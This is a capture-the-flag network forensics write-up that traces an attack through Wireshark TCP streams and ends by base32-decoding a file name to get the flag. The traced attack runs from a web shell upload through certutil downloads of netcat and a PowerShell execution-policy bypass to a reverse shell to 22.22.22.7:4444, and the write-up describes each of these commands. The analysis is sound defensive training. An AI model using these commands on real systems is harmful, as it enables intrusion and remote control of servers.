From here, I decided to view the TCP stream. That shows us all of the http traffic and it reads a bit better. To do this, just right right click on a TCP or HTTP packet, go down to Follow, and choose TCP Stream.

We see an upload page being requested in GET /upload.aspx HTTP/1.1. Then we see HTTP/1.1 200 OK which lets us know the upload page was successfully loaded. We see the title of the upload page, filesystembrowser. Looking at the text in the body of the page, we see can tell it's an upload form.

Next we see the command POST /upload.aspx?operation=upload HTTP/1.1. This tells us that an upload is happening on the upload page. We see name="authKey" and then admin. The authKey should be something a lot harder. We also see filename="cmd.aspx". This is a web shell. We see other things that point out attributes of the webshell, like Page Language="VB" which tells us it's written in visual basic and the dimensions of the TextBox/web shell.

After the POST request, we see the response code HTTP/1.1 200 OK which tells us the upload was successful. In the boxy of the page we also see the message "File uploaded".

Next we see GET /cmd.aspx HTTP/1.1. This is the attacker requesting the web shell they just uploaded. The response is a 200 OK. When looking at the body of the response, we see the same dimensions that were in the POST request earlier.

Next we see POST /cmd.aspx HTTP/1.1. This is the attacker uploading into the web shell. The body of the POST request shows that the attacker is calling on cmd.exe to have certutil upload nc64.exe from 22.22.22.7, which we know to be the attacker IP, to users/public/c.exe on the web server. We see from the response that it it was uploaded successfully.

The last request we see is POST /cmd.aspx HTTP/1.1. In the body we see the cmd.exe running users/public/nc.exe to connect to 22.22.22.7 over port 4444 and to run cmd.exe once it connects. This gives the attacker a reverse shell on the web server.

So now we're seeing traffic on port 4444 in the pcap. Notice the source of that traffic is the .5 address which is the web server. This is the first time we've seen the .5 address initiate the TCP 3 way handshake or connection to the .7 address.

We right click the first packet of the 4444 traffic and follow the tcp stream. We see all of the commands that were run in the reverse shell. The first two are basic information gathering commands, whoami and ipconfig. Next we see cd to change the directory. The next command is interesting, powershell -ep bypass -c Invoke-WebRequest -Uri http://22.22.22.7/JBKEE62NIFXF6ODMOUZV6NZTMFGV6URQMNMH2IBA.txt -OutFile c:\users\public\file.txt. The user attempting to use powershell to upload the text file with the long name to c:\users\public\file.txt. That command didn't work due to the 'Invoke-WebRequest' cmdlet not being recognized. When that didn't work, the user used certutil to upload the file with this command certutil -urlcache -split -f http://22.22.22.7/JBKEE62NIFXF6ODMOUZV6NZTMFGV6URQMNMH2IBA.txt c:\users\public\.

After this, we see a GET request to retrieve the file that was uploaded to the web server.

We follow the TCP stream for that file. The user retrieves the file with the GET request and the contents of the file are shown. Inside the txt file is more text that says 'Hey there!'. This isn't suspicious but what about the name of the file? The name of the file consists of all upper case letters and numbers between 2 and 6. The name of the file may be base32 encoded because base32 only contains upper case letters and numbers I believe.

I copied and pasted the name of the file into Cyber Chef and tried to use base32 to decode it. It worked and gave us the flag.